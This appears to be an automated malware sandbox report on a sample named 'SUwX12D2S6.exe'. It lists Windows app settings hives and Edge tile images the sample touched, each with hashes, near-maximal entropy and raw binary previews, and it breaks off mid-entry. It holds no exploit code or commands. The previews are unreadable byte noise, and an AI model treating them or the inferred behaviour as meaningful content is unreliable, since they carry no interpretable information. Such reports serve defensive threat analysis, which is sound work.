..:^]b/..YBcv.k.....8.....,.....u....rT...5........g.g...!.h....O...?...Z~.XY\..y...#-.vg]HA....b...S..)q.....K...W.@..Sq~.!.r.u.h.....W..n....}V=&..L...n.X..T.\.k..\|.X.tC....!.T8...zU.:a.x..Z].......2./.{......T.'..4....apiZ.{.00...8.T<.3w.D.G.\|...,.!8}@....Af.p.....I...h......p...$..f.....U.....^..2...2.:.^..x.A...Pb.en.76....h.5B.....v8.O7,v.3.IR..J.%..E......}.p...J.5...[.....:..3...[.p.s3V......y.m..(.:.~.L.F].;[.....8...><.......\|>..C.X.FN..uV.\.q.....&..G.....{.c.D..O...~.c..:%B.Rn.....8.e.3...=g.Fc...=.t..x.....Xy.ju..ou..<.L..-....$h.9uK..IB.t..k........f.O,q:P....(.qE...>.O.s.W.wA....p. O..J..^.8...!zRF&q..s.....n.@.Y."..7..[^.^.....1...Z......{F.)..9......v^....o...@.r...H...._r...I.....XEsP.*...,Mf.Ja.

C:\Users\user\AppData\Local\Packages\Microsoft.GetHelp_8wekyb3d8bbwe\AC\GEH\POF.dat

Download File

Process:	C:\Users\user\Desktop\SUwX12D2S6.exe
File Type:	MS Windows registry file, NT/2000 or above
Category:	dropped
Size (bytes):	8526
Entropy (8bit):	7.983172707794065
Encrypted:	false
SSDEEP:	192:Yf+RcpiAHULOZ50w+u4NX/DOSJF6gkwGK3KQ:zRcpiK5064NX/XE/Kb
MD5:	218D4B4725779B99BEED70BE46C647EF
SHA1:	45E710C863CC592F7B47B3B97B7630EA9FC1EF14
SHA-256:	6229F25A535FB079FCF6A831803B82DD75700246C0E170D8E1B8872CCDEAB542
SHA-512:	2832468C514DA70889F93D6C1AB094FCFCDDFEFBF11E6123D278649D61B587D53BF41EAAE6478D5708F98937924F122FC4B54493765435B325ABE5677FBAC201
Malicious:	false
Preview:	regf.65....l..d.u..h}..^........)H..>B....=......X.x.x#J..k.........(.kD~..g.W........%`.\.H...4..A<).....-...z..@X...:.c..d.nC.T.].....z8..8...%...8.Y.'...].3...7.(..e6...\|.c.@.....D.\|.....&.g.Gub..K$5[...5..r.Y.y..%;.9...:..n..A..._E...QN/....H..%.K!..S.......q.TyRP.........}..<.Yg....v=........;jj.N..F......u...+.....]`..C.J.6e._k...lSmS..U@y..<a.12KvS.s./.O.....D.I+..H...@...Y.S.j.R..........T....x:..m]....(M...........o....s... -....8..S3....k.o.%.[A.#...[p...n@.......I...!..B.[..\...M.L$!.g..:..P.\|.....0..,...si.f....?c.y.(...Y...RO=....d.G.G..E..i.Y.D.&.>.n.K.....z.O...^.......,B.6.2.}.^.oc..(......3V#.z._T...'.ad8VlO..q..v%..?....^.....!.(..L.s._E.#...~...N.....3.......e..A.h..t....+P.5..........U...4.p.t.....T:=P..W.n..........iYL...{..bcZ...J=.i.."0..93...4.U\|'.6...L&).....g..z.:q.u..m.h...8..!......y.0..........Z..<z..........-iH....0.7.>f..Na.>..uTF.o.L...$.'.;...QS.xo.....pY.7.....X0\.....I".^.W]wMhlk.v.?.?.~....!{.q.g)...`.....

C:\Users\user\AppData\Local\Packages\Microsoft.GetHelp_8wekyb3d8bbwe\AC\GEH\POF.dat.LOG1

Download File

Process:	C:\Users\user\Desktop\SUwX12D2S6.exe
File Type:	MS Windows registry file, NT/2000 or above
Category:	dropped
Size (bytes):	8526
Entropy (8bit):	7.977360568886589
Encrypted:	false
SSDEEP:	192:ejOlDUnFs74oP46WPx3B1Ritqe15yy3ULdgf9SdF6wcnYp9:eE7444dPC8M5h3UL89Sdd9
MD5:	0D023ECA13B795612E86C61600F37F49
SHA1:	4448998FB4EFA74DA12C8BD2024E90F295ED212E
SHA-256:	2A6E0C701B345F0962C3C340A7BECE61C3B125286B3E7557B588A688D6A44D87
SHA-512:	4D0A8C58C582BA170E2A98696D8ACB93939AE17F00A2FFD2EC0741BF4E586E1C8531ED886FA3514418546FA2EB81D589C93EA9057CB5EC4EF7233A8EC710D05B
Malicious:	false
Preview:	regf._.s.......D$......wl..:..RKk.s.<8#..7w.={.%f.....V.[.ah.R.(3=.2p.......\..........N/4_.yYx"..0.y..V.u.q..)..=6.....;J1.<;3:e,d........y..e<.H......X.o.........@......4r..f..d.....(.ft<..%i...l.s....Ex.8iFI......S..H......r.q....#2...D.FL......h.O..G.H......]...A.)...jq..wq.g....Z..?wL.2....OA.....u..M..0~3...i..=. 0...>K...Q..e....Ng.:.......!vw.8..G.D~u.7..s...&"{Hq.........q:z.Z...M,.cH.-...v..8.h;..Q>......`.%.-.O.go_3d...V.;D..5..7f/....'..t...o.R#....M....'...\|.<.2..\..e...yF..l..[.v.V.._E....r.u.ts,dS....6v.....B.d..8a.f..J.z...%...{...bo-.+i.K.dCW..Y?...jz[..(:....q$. W..../...~....>..6..w...q..G3.F.C....4.&.cye1.+.o.DA..O..6..{.>.;..M.... ..k7.7..8p.O.(.S...O..&)z`..R".R.Zq.m.t...c....X?O:..G.x.[.C1.2].......F.....uSu..{........M..K.@..."..I..=....:...\|.1..e..\|..<..L.j.....Qcc.w....O.V..2t.a.~.c._.}8r.e.?.g...^.Y[..f.%..[U.m.....s.....k....4....FY.jj.....)..(AXt^z.......2&.5&2..../.PB.'.M0.#rXJ}..g)

C:\Users\user\AppData\Local\Packages\Microsoft.GetHelp_8wekyb3d8bbwe\AC\GEH\POF.dat.LOG2

Download File

Process:	C:\Users\user\Desktop\SUwX12D2S6.exe
File Type:	MS Windows registry file, NT/2000 or above
Category:	dropped
Size (bytes):	8526
Entropy (8bit):	7.97817380813584
Encrypted:	false
SSDEEP:	192:VMtOkwUU6xCmhkDf24iqq+Abr3irw3nWObXs+Z7DE:VMtOj4x3GfAqq+Lrw3nWgZ7DE
MD5:	A9CEB2E041B3CC0B3ED3CA832134BC5A
SHA1:	551E25E2FF496FFE8AA50AA6C8A54AA192DD7CDF
SHA-256:	96989C58831C485383BBD905A74C971E2153227D73AAD0863CC50084BFDF448E
SHA-512:	3DA82457F37D7B07644DBB40C272C823F97CD0A6DDB267D462751F511893CA7BFFCEDA44E9601684BD642A16E3FF0EF93DC91DCB48C9A6B1A291718F660318B7
Malicious:	false
Preview:	regf...fG..i3........-..g7.....U@-7...0...f..}...Jr.g..A.3..}......O.G...d.g...o.`._..B...M.....G..Qt..m9,\|.HEw]~\....a..R...7..e..!...S.'...ho.{..o...\|v...Mn..w..X.a.u._Y..N.&...@Xp.Z..;.K.9J1,...y....t5..p..T!.l%.z$.....Exxmu.:W....Q..%...^.A#3...i.,f..e..r.9s.m7....t;.`O.l...P.T...f.m./....Ol..}v.Z.a...u.N...pf...Mf;...UH...pA(.\.d..........J........td....h..(...Z.g...r......k.o.&..'$.oN.Q/.Z......\|..I..fH(..`..xFk....8...V(.......s..w;.`(...i.k.....GHd...V ...&..B....;Y!.....p.x.........\|.{a.W6I6?s.#w...">e.]..\....x......h..0%.x..[=....k..(u..\G....@...`..x...&`.[.v?X.."6...%..$!B.......Z..Y.^..Q.^...4.Z.....>/(.g.%%g.;....?C.T..;..."y........M.T....G.\|%.k......F..;i..O.Yz....R.`@.?T.K.....U.5.'.i...........k.=.$!e.\.3n.+.mn;...;.;=..r.t7dL....Q...ua@7...<.O<.y<.W.)..L...q\|....z.......".....);..#..".[.....\|....aq..B....'.(.q26..............o.....k9c......}k_.}.P....?..^-...C`....)D.....Ah).AA..m>.k..K...2.*Q.MV.V,.S...j..h.%.....

C:\Users\user\AppData\Local\Packages\Microsoft.GetHelp_8wekyb3d8bbwe\Settings\settings.dat

Download File

Process:	C:\Users\user\Desktop\SUwX12D2S6.exe
File Type:	MS Windows registry file, NT/2000 or above
Category:	dropped
Size (bytes):	8526
Entropy (8bit):	7.977531631785097
Encrypted:	false
SSDEEP:	192:52sq/hAru3YhhZ6U4xltTBMRjSdGFzw4n5:52sq/SrwiZqfYjVFz75
MD5:	B95F035EE43B7389D985435DD5FE7E1E
SHA1:	50217F0715A08CBB74FE7E642B1D27EB077B4B53
SHA-256:	E3EE82C377AB372FE76C7B7E7CA0A489849A33E3C0051914B0C5A5C9406765EC
SHA-512:	CAB259F7E0DB48F713851240E9DF8E9B258A10D78B79276DFCABA9103388126D21FE8AB756B9D28026B8A69A953F0B3B09C90858E83247B90CFFC76F7502F0E0
Malicious:	false
Preview:	regf...".....Y.B.<.L.s+w9...,.....Q...........NxY..%....S.;.B......4..[...5.$.X]..7.3j.+@.<X.....NL."..'....`..o..O<.f....0..p..;z...1.{[.8?~F.....).J..k[......x....n...n)X.B1.d1.0..F..-q.Pi.g.........P.PR....C..UZ..;bDP..h....P.vC...L...(...D.=..1..p].....N.e.C....2...Z,(....X,Z.y...p.........P..)R....2...e.k.,.qO@0......+S....pF."...Y.~z..7...>%.q..;.......}=0....$. )w....W....Pz..S...g>...Z...%s.....\.t. {...do.a.......o&.......0.&+....bOd.,..s.f;.......3.p. T..8I.F....f=......Teh.....9.0.5[.....x.4..%\.j/.j.......Tm.....?r...S.r`..`../......"Rb..1......x...%..*..:....9y.D....h^.y.l...+..7AU.../5.{..V..-.`.b.[.b;...=...(....@...9t>.;.X.5..K....l.?.NJB2..'&.)....d.....,?Q...v..'.......H..N<I;.......>.~)....!'{.'....3.s.g.0O....=..'z.....Hkc.F&..k..'....j.i.p({..It....g..m...p...._S.kr5.V..[EP...7.$...=G9~21.rx..b.8!..I.....?...eo..=M8@.H........^G?.......L.8.....pf.SW.[....9.@v<.J.(l...)V...o..g.....T~........Q...d.A..H..P..:.^NOr

C:\Users\user\AppData\Local\Packages\Microsoft.GetHelp_8wekyb3d8bbwe\Settings\settings.dat.LOG1

Download File

Process:	C:\Users\user\Desktop\SUwX12D2S6.exe
File Type:	MS Windows registry file, NT/2000 or above
Category:	dropped
Size (bytes):	8526
Entropy (8bit):	7.9780916106688835
Encrypted:	false
SSDEEP:	192:PsX9YgF2zwAr9boXVmvhjMJMA39Y6ZbM8YMjEv03gU:P/gHArO8hjMzJbMCJB
MD5:	68A0ED67B617107B54B49018A9003D03
SHA1:	E95ACDC804F1C6C247DDF42C3B56DC6EFFE71FAC
SHA-256:	69F79CDDB969FBE25371EA2C6BBBFDEBDA8252249E41F056019321679A1ACA85
SHA-512:	4EA810D74C2D2EAAF556E884FC540028F12873708D50959DB51B86D8055AB004C98D17504C8282ACF00A9DE78BF42B1411F7F006CC91362B4709CC410A9EABA1
Malicious:	false
Preview:	regf......d<i3..+\|VN....Zc....\|.H.~.Uqq..?..w...i...........U@B.fz\|..?u;`......}46....y#.....W.....[.]:.....F.pI.......$.T r..I[B.-^r..d...}...8...p..u.]L.Q.u.......[.9".f..a..oB..2..r....m0..........<tkz9~.Iw5.5.....uXJ&.GL-q..eE..JA{.P..8.....,.u.,...S.io...>...5\|.ko\.?...B.....Y...F....G.z.M1y.'xrLo..j...q......j......I.........7%.q.;......JcH....)...5?..D?...(..U.R.h...V.P....R..../....4.j..4......zK.a....Sx\.&^.=;..R^.....l..x.v.r..E..2T...\.H....i.x.ht..yp.m..Y.e.P...7r..(5Dz.........4.K.$...c..%q..d...9.sQ..r.in.Z4....U..l..j..]...u+n.I... $c...).n ;H.h..+..H.._.7..NaL..Y.......92.ujI..X..!.O..@.....n.A...&c.!.i"..f.K.Tw......:..a..:{e.Sz......].E..@...J..J.>..K9..h."d...6}.N.OWw=.p.iHL..mi..gt.H[.';i.D.P.2;.x...4l.fV......(...9"G.4.%..:D......W.7.Q.i.Lz.5...k.8.Jc...9..r.....z.Sd...\|..r.5.X..H?7.J."A......x...~.bj.v.Z.\|x..j>..o.vt...\@.D.5...\|...C..\m}..zy.8...e<./..4... H.\|.ie..W.V..;o.rg.W:R,...=..X..?=..o..'.J

C:\Users\user\AppData\Local\Packages\Microsoft.Getstarted_8wekyb3d8bbwe\Settings\settings.dat

Download File

Process:	C:\Users\user\Desktop\SUwX12D2S6.exe
File Type:	MS Windows registry file, NT/2000 or above
Category:	dropped
Size (bytes):	8526
Entropy (8bit):	7.977922767635852
Encrypted:	false
SSDEEP:	192:Zu0McFrDjaIWU+J20pgOQXxno3+uSWOrsjAO9Jn+s1LkidYuE:ZuuFrazHpUno1OIPpkic
MD5:	8C7D35CFA02C510BAEC58F70E4A0BDBF
SHA1:	DB484A0170FF182DEB9BA65C07F3ADD2DEB870AA
SHA-256:	FA23AC9730111940D9FBCC01F65CF117223BDF22DEB30B57191FE44264E50637
SHA-512:	678E1D6806EBEBB271375C656AB3B7D9A082E28E245FB211F0DD977BC31C7C6D53064C0A88A37611A0FC409787B4B1AAB893ECF0E7B2464C6A0455A608EA61D8
Malicious:	false
Preview:	regf.o...;n/......wt..&d...4....n#C@.pE.%.y...G..T...;r..u.:.\|....7{B"(z.a.X...E.z.v .g.A.<A.y.$h-.(..@...v......0.......D.#.$...'...\.....i..\|_....0..6....E'...........c=.r.....^.o....~.s...& c.k.....H..d..L!R.Z]....\|.{.~........l.&.n%..:..{..O.!..._h.$.-.[^z..#..k..q.a.9:.......Q.>.?.P[...}...{....v..Td.z^.].....;Bn. y.n.H..f..........29v7....[..a..K.....z.Y.x.v.i!..C.......K2E.;.lq=...s..RYI=R.D..x.4..6...)9.=.X.$"5.S5..O...!...{.........9..1..g.S.3...$..).9..sQ./..s.L../.....n..x.m./j.`...O..Ic^.;B~l..7.G....H.X....f...e..D......F.....<...%`.(.....b..6..'..A.8T.....^M2\|...s....w.j..i..S\...M..]..;9..........'H._..6X.}..<.......4.......AN.n....l2>.&....yAGy..yK.g;.*.Q..h.n..tv\|..br.;G.TQ.m.O.k...'..Z...opF.n..J.^.......dt......{.O.di..MLOx<.6....{.nn..Dki..L..].%+V..t......#....7..<...#.....O..e.)g.e4......,.=.....d..\|.!..j..^_6..#...c...S .I.L=..r.q...w.7..lk..U..vj..Nq.R$!.0z..8}.....f.2/QZ.X..T....t`)..2..=.H(.m.9i....Q....

C:\Users\user\AppData\Local\Packages\Microsoft.HEIFImageExtension_8wekyb3d8bbwe\Settings\settings.dat

Download File

Process:	C:\Users\user\Desktop\SUwX12D2S6.exe
File Type:	MS Windows registry file, NT/2000 or above
Category:	dropped
Size (bytes):	8526
Entropy (8bit):	7.976330670865406
Encrypted:	false
SSDEEP:	192:nFqARNXONIdd7xADHOaAf5R+HnqGKi+p2LIKqUNXPyWeLW:nFRhS4d7xADHOaG5Yq8auI4P5qW
MD5:	54EAA93667C5EA54B45BB233C9070710
SHA1:	EE20536C9296674B73E9578068A374B54804652F
SHA-256:	CA1FD082EE432C7A81280EE1325BA488FFF4786D6416622C0D28ABFB63910428
SHA-512:	BF8023AA187A5A5F08E9B8BE72D230A974866D98E6D2141347AADD9F4C3F33F1B7524D7699790FC801D3DBEF563666AF7972334D57FBFA9D5BF811AF247338EE
Malicious:	false
Preview:	regf........}...04........8u.dk.a.D......6......H..h...}Y.".K..E..v..,N.Ir.u"....Z......5\|../zJ..A..S..i..)p0.b.<................fL/.aBKg...c.C"P.w..]..e..(..G...v..&H.K?.l.2..f.....B_pT\m..Hi..JG&...c8.B......3%..4.......... e..N3JO......<]...x.?D.....i$..:.^...>.C.&...y.Z...L.v...W.C...\1.CR.L....y...CH8U.a.).j..5..6.u..S....:..s`..'.?.Q..3.3....wJ.x....?.7.zD.......vj...3lH]sB....6F....N..WO.n..`.%p...i.Z...m..M..g..\.....L@i..>)..+.C(.....9B..L..H.@z."5.I].@./%....\~a...-.r.L.w2....(..."..E3L.=-...Q6.W(@.!.s(..ko.mv.!G.......Z.mB>......3..$.......\|..\|^..).....B.C.g..m{...z..s..8.z..2..kf...v.GI.l..?....:.AG.V....d4.v....x...&.X../.$....<.m...L-[...wg@Bick\...wZ..V /.......#..........Pq;5..}N..c.k.<....@.9;"!..F_..7.'.s.....,...X7.h.....y..\....R.1..LL..7F..C.....u.<.`...\|.VZ...Y=.?W"..E......sl..6......^..3.4.r.M.U.cT#z...:.N."...d..._.*...3".h;j[..a.N..._gX...h..(....#....Iye(bf.....$..=A...~....B.K.....:..F..7...j../.P.Z..e....+.

C:\Users\user\AppData\Local\Packages\Microsoft.LockApp_cw5n1h2txyewy\Settings\settings.dat

Download File

Process:	C:\Users\user\Desktop\SUwX12D2S6.exe
File Type:	MS Windows registry file, NT/2000 or above
Category:	dropped
Size (bytes):	8526
Entropy (8bit):	7.976875713300839
Encrypted:	false
SSDEEP:	192:XcB8nrIuO5ttOZHmvBB8JGcNUj+ef7HayOQI+oIIe5csemRbILD5:XJnvONXpKJGLTYQroIIe5cxmRbIv5
MD5:	498B41E50B2F5DB09A393AC6A6CEF1DA
SHA1:	FB338A6A00EB6CF8B43C0A9318ABEF8C5AFB1D1C
SHA-256:	B94E0A03A52BDE4A4A55DC524D43EAB3A2DA05C19F1C93681A7F86A437450197
SHA-512:	2F244D8C4F26954EAF52FC97CCAA776F85539749F7AAEFD801B61170C9141E1C2D397A6AF49C999484A898705B695694C4BF11033BFF4B335A3C0ADEA9820BE0
Malicious:	false
Preview:	regf.6h...s:.o=.+...'..h.... 1.....i5...w..o3c.5....].m.....{Z..Owz1{...G.dpP9..W...........7..t.8.O..{.^R#E..NZ.ov....<........3l.Y.o......a._... }....=].L.ei5.....X$.q..iGM...V...l.a.....y...O......u}l..h..0.....(gp'...d6.o.5.....v..@4..gL.&.<A.B%.E.....S...{B...e.'.............C8".9."....q....+.H.(".....o...ZL1..w7.J:). .\|eb...A..`gO...DV%..E........E...Y...^.'7B.2o.".......R.).sh...e........C.. .....jH.qM.....`.....f..&.u.47.....j.....{. ..QD.5o.{...!.<@...x..c.-Q...].i..P5.V..T.>.....y!..........G.uh\..........Q..x...^o.<..2..y..6...>..}..M3Y2..f.Z$.\|....TP...$D.Bqzo!..o..r.....crqv6.gX.mh.'.........).....H+x..C.3."......@Th/6q.3q@<w.BPow.t.W..........m..W..c4.{...:.....4.j.h.........S.{..G......!S5~.'....A..2....c. ..Y....&.).dt...J.[.a...8....4..2..`..qm..;.."..;5.M.e]E...._P...!..a..0.$....%F..tp....z..}Sk..7...h...L.G.Y..h. `S..x.V..+<........gw/.....N....6...CU..P....N.V.U.o.4.)UHJ.:....#..4..E....8_.G......a.8...x.]4Av..X.H})]..

C:\Users\user\AppData\Local\Packages\Microsoft.Microsoft3DViewer_8wekyb3d8bbwe\Settings\settings.dat

Download File

Process:	C:\Users\user\Desktop\SUwX12D2S6.exe
File Type:	MS Windows registry file, NT/2000 or above
Category:	dropped
Size (bytes):	8526
Entropy (8bit):	7.981548269569263
Encrypted:	false
SSDEEP:	192:luaTw6IuCs8+tH1kQI4EndTuOOlZrSff3rstLpafo990443rL:o6vH8Y1kvzmCrst9l990f
MD5:	01FADF222D1E02CC301608B74BB39D31
SHA1:	133FF3A536DD2CF74849EC00C32B31F21D356F3B
SHA-256:	2B2CDB858D4FDBF5F2EBE9BF85E587412344FB70A1820FD9674CFD38C7ECB69F
SHA-512:	668F2EB6778832961945831F486901E209CB6BF2498B3BE91AF4DA58F38525AA82A7CDC9CB6702A3DCDFD1E9A033675F1226DDE7FBFED56C6E88804951022021
Malicious:	false
Preview:	regf...9.....`..TDqN.....(.}5.&A>.,NW....B2....2.aBK.tK....(>S..@0K...u.o....j..=;...\|........V.%}fLq..O/{...H....O.A.s8n..t... \|.......m......Hq.m.....R....U...9......u....G..u...._.,b....s..._RM.v.5........,.....lI....0_.}]{..xY..d\..-..x.q\|.Q..Xl........."+$e.,C..t{k.."..E.V....U/..6........c....Q~.B.?...H.B%v<.{..z...4.t._0..k6H.....n.m.~.<.....%[./A.h.c[%...3R2P....t.x.w..........}.7.u..lb}.H...xN.c.0H..)...@.rDW$)..7...:o.@.....G...=~N..m1v.M5XS."4..Mo(...!......i.......x\|.!..M...Z....Og..7.Ry?....H0..,..._2....\|M9.r.!FF.&.q...a..3.w.9..\|p.Q9..F...C.T.0..2\|....T.l.f(3g+H.~H.?.M..aHDK1.....u...{v{;a....\.....<7....Ld..>I.B.9...M.r..h.]...l...`.{}.z..4..\/...I..[....fp..`...-Vg.......o.q......g.c.eN.5..:.....u....~7_..,&........j.;.>...Y.W.1..D.g.!Zq.....9......#.@A...u.e..Y4C.....^2-Od...kh.....U....&u.H4^;j..s..B..j7/R..6.....&..V.'.....vS$v....=.n..!...i@.2.D!c.I.l.j..dQ%.a.(.....M.......At.Y...%.E.2.X....quU^.F.b.!U..@&.

C:\Users\user\AppData\Local\Packages\Microsoft.MicrosoftEdge.Stable_8wekyb3d8bbwe\Settings\settings.dat

Download File

Process:	C:\Users\user\Desktop\SUwX12D2S6.exe
File Type:	MS Windows registry file, NT/2000 or above
Category:	dropped
Size (bytes):	8526
Entropy (8bit):	7.9778007496921575
Encrypted:	false
SSDEEP:	192:VzGOixJs2g8+7r5K6WQIydeBVjp8gt2CSvJfsw13OU2:VgcZ8+74LQ/eB/8XhvVD3K
MD5:	379F9DEE0215147E18B51D90DFF685A9
SHA1:	17108D19C9C9F64373D1794F78BFD4104930E17C
SHA-256:	4D388B1B360F760B3EBC2F1082B2CC20815B09CA09AC62328E530EC3AC2FBA16
SHA-512:	1AC1855C65385160D56844E6FC7F63AEC17825312185A6E7A6E7389DBBE90CA71196FC82DE1C2A0870143E2738C66097738AF2EDC66D7F7B4A5D90D880F66B42
Malicious:	false
Preview:	regf...jT..J.qb...`a..`}T.u..\|A,.KG.{....oH.P.3.;...6lj.&.C..K..h.c..D.\...d.G. ....>..4....U-..Q....T......n(......S0t.+.\|..j..c....2B.9...@A.....JPqC..r..,V.G8....j]7.v..)8..;.....(..y2....._.P.$.~...U..%.j&....r......2.,.<.. ..1./I6.`.m....Vz.3.s........b....?.b.9......2.z..P...vI....rR.....&.-.Wq..;i...&.9'I+.W...G.....i~.1.....l.......h.+....o.R.n1.g.B.s<NTp.._9..F?...0{0w.+.....k&.bV?....Xt.M>W...in.....6...4.....N.>j........D...j.!.J.i..ZIGi..A.....(;.c#....35..P...+..r2(.7..J.....M...eBob..f..._7..J7f..h..7.U.6...T%i....C..!..K.)...dc...+..x,.:..r.....V.[G..:V..0..\.[<w\|.X.lY,Z...)...p.o..._.[. .~.....X.4..=.........U....... '.,h.:.}.!.AQ......K..V6./V;.s..T.....n.?..,..^..V iWQ.k.s.........C..B(......I.\|dM)...r.....`[^.(...-?.H.[atc..A....d..pFG...4A.ZlQwT.L:.`V...#7l_Z.......U......x..1...L....7I.j...OR.o?.v...Y..s...\|..?.F..!.......d...).HQV.vPtH.......).......~....=.Xj.x&....,.U^.g.#.ej..........-.Gp.>..C..ta...

C:\Users\user\AppData\Local\Packages\Microsoft.MicrosoftEdge.Stable_8wekyb3d8bbwe\Settings\settings.dat.LOG1

Download File

Process:	C:\Users\user\Desktop\SUwX12D2S6.exe
File Type:	MS Windows registry file, NT/2000 or above
Category:	dropped
Size (bytes):	8526
Entropy (8bit):	7.980637213950796
Encrypted:	false
SSDEEP:	192:HmAHlh8RduGMkhpRRNuHhN/lIkgHaheVLm5RRtoCUA+Ep1y:HtH78zfMAWhNQH/Fm5RR2CUb
MD5:	41F306BE0AC54A4CE1E65A3A9C1ABA90
SHA1:	A0567AF5B6101408D5D2A486C1EC4C5549D016EA
SHA-256:	AF1B54963C41F7C38D397E056D3D53C2F47A53196069DDC581A328844C05F14F
SHA-512:	7DA630F56EB65B32727DC44A10D1F779AE4A09D328955567A38F4F041A53BD9EAC61B22E280726A59A5C23022BD9FCE0813D9BA2F02DD2DFE099275AEDFB377D
Malicious:	false
Preview:	regf.rV....tS.Z.1.y.7..x..o.../....W7...V..0=}..Q.-)y.s....[l.v.).!s:pY....kNm..8.....p.{a!?...#.F....V.C......a....W$....F4...40.gfP..{_(.......m..v.\|K.s.G....5B..NJz......}g..,q..+..\l...&..!%y.@G.}.p..F.g..V>......W.="...=l.x.3....@B:...E. .yz...I2...M..{AI...p..7../u..j.-...zqQi-......f.).....<...k..&t..........1;...IvR....i>.w.-..#,.m/{0..r.u..D....5Q...Pd.....#xG......Hj...$..~\|........PoLp..u\|v...Hg.u...T.L_WKm.!...K~2?..'.o.K.../..\|\.&.r3...5..~..b.......$....'=AN.=...O...#......+.-F..o9.0...ds..g....w.>f.......H..H3..}&^.!.@o...#(.[&.....f...t.k{..........V.q...........C<Wn.AT.y$........A.#ED..6x...U.@....+..x.].f..}.........].v.}......-bc..R..9:..a(......vh.;.E...'...x.....3.Y.....z..p.._..l..>......g..4.....>.......&rUl..i.1.....A-h?93....z...s.,RHj.Q.uX..W.E...E.=.....-fO..n~.Uqy.........W..2.A.h.n.K.SC..'0.i.S....ab...(c\|S.....E6.N.z..'Q........m..T-..c\|.......e...M.N..i...(..T-....vI*.K.c.....v.>.W.{...nm9-..}..ih...o........H..a

C:\Users\user\AppData\Local\Packages\Microsoft.MicrosoftEdgeDevToolsClient_8wekyb3d8bbwe\Settings\settings.dat

Download File

Process:	C:\Users\user\Desktop\SUwX12D2S6.exe
File Type:	MS Windows registry file, NT/2000 or above
Category:	dropped
Size (bytes):	8526
Entropy (8bit):	7.97603300648438
Encrypted:	false
SSDEEP:	192:+bZHp39qbdIYHbHFzTZ9ZMe5TkkRruPJ/O5F7izlFdxX8w:YZHpNqxpHtZMqokRt5Up9f
MD5:	9262B7BB0ACC22F33A56874D7275883F
SHA1:	D87ED51C5303857791553E3C5C7BAB77CD513961
SHA-256:	37E29B1E9EF80F1FA74C6C5C3D68D1A84C74646B150927BE6A716F17497E3C47
SHA-512:	6958723A63D2B6C50ED0AF04F3A949D8A594DB7D21CBFA8CC4CD8AEA7CABEEBC5038D2C08A14F8C37401C02A425EE81AB9B777C24CA66705062F3CF701B38928
Malicious:	false
Preview:	regf.rb2....D......l...f...F&f..".=...g...[_...m..#.."....9.g...F...C.....b.#...r-;d..X8......+.I.....k};%q..(bL7V...:P.....UO#..n..mY..p.)...y,.>..2vX.P..azv..Q.....P.n.Q.P..l...M^\|..^.A..Uh.+... %?...[T....T\Iw.1.....f=ZI...E.Ma7.......7....;..N8F.<...v.3...+......1.:.b.dO3..;.....O....Y..d..2....9.m{.g...<(Y..U4.:..3....N].YW...N....%..m..6..R.O<W:.0.2........;.ubd..H.{..dk.SA.1C..uUG}....7>C..L......-.)..+...s.9B._..vb.Ue2..#..Y.........}OR.~V..`.........B.+.z.I....<u.. 3.=.8........(.m......U.......^r^OT'z.0r.....C...H>../......wD\|...5I^sP....?...............20L.;....a..j..K..m..(.....M.;...l\<..Z..2.^.Z..Df.e........[...+..a#...J.".....d..l.&..T)...C;[7..=,.QN.y.wW..}..D...F;...p.7...t@.!.-..S..q.o_..........B...>.#.[..jS)......7...P......FMc.&:H..:...[D........[5ca.../.6.~.)..7?qj8.:0r...+....\|!...EM/.C..Om......~...,+.i..X}....m.......FV....P.....v{,P4`aHYqJ.UC...>L.......A.."..X...^...m.....q...{...3})D...b<......&.v....^

C:\Users\user\AppData\Local\Packages\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\LocalState\PinnedTiles\26310719480\squaretile.png

Download File

Process:	C:\Users\user\Desktop\SUwX12D2S6.exe
File Type:	data
Category:	dropped
Size (bytes):	2727
Entropy (8bit):	7.923821727136778
Encrypted:	false
SSDEEP:	48:OdCbl//ULMum1dvUp20lX+qwQvh3VfJNUk00xtmZKFoLk6FD:OdCbNcYtPcpdlOcJNUkdcKY9
MD5:	EDFE4E573CB6E15EAFD29639098C4323
SHA1:	90E54473F07DD3F94D35621E96B64CE548593895
SHA-256:	CC80F8857FB3C0E1129E5F696C2906E4AC1396253138BCAB2E4ACB79EBDF9738
SHA-512:	695F6B963AC18FC63A75A1379EEF40A3B74C4FBC1C897689F44713A4E76C79A337CD0EDD8D87D94A9A038FF5413A922D42D2E92307346983B9B3C9C6A6038B05
Malicious:	false
Preview:	.PNG... ~....X4v}.......]J.\..e,.;..ls+`.3uk..-&..S........E.Br......]//.....3;......>z.#.Z...{$0gWzP.......'}.V......N..p.Aw!.............r+@..4?...se.>I...(.V.1-...l....8..Y7e..u.O..r' ...8.\.3.......s...j..9B.k.Z...v,.d..L2....VKiE.....-.`l)..Gr.t...n.8.^G.Ex.'.. kh5...p..-.aX..!..!.Te..?(6\i`;.k..o..^......`...\|..w.g:P..Q.{...A..f.i3.7......l.........:.p.#....3..h...$..<y.3........ei.!...R..A..#i...>..f.V........)..je..}^....g.RU-.:....6.:.........%.ei1%3.-aH.Xl/...xQ_.me..VI.....h.>....?.6..iLN.d.0.U..;.C...u)..Q!m..">..=K.:}[.G.W..1.P...;...W+.........m:jyg..$...`...P.Q...~....BB.....)".KsJ...A, ...z.`...?.Z6..L~...5.!iQ../.-"{...q.....x..!..I.F.m+.....k.^h..z...`..I..H.9.u.Lwt_....+..B.....}...X.k.D._.....<.{m6.....OM.....\.-....F$...Y.. ...KD.[.3;..X3].27.,.#.eta..z..."?.9.....>h...>...#u.)1& ..z0..s.R\|.V\|......`..R..x.3...L.Z..#.&.....+{......c1E.+.....u.3..h]..,GA.p.N...............a.Do.o.bT.e.<..k_M.QS....A..,;.X.B

C:\Users\user\AppData\Local\Packages\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\LocalState\PinnedTiles\26310719480\tinytile.png

Download File

Process:	C:\Users\user\Desktop\SUwX12D2S6.exe
File Type:	data
Category:	dropped
Size (bytes):	1961
Entropy (8bit):	7.907760927470832
Encrypted:	false
SSDEEP:	48:vFm/eE8ksr+C0VP8wUwMviVD9/5NoLd4N9FIx0z31Ipz2FD:vFgYiCukGh//oh4NDIyzFIpS9
MD5:	DA228E7C9F9A700DB92CD603C4507711
SHA1:	E745D2B785C91A6CB27889390EEF2A5A91E519E9
SHA-256:	635B80E383FDA6D43F006E26B83E0E34855FEF7331DF12DF5668DC0EE86EA78C
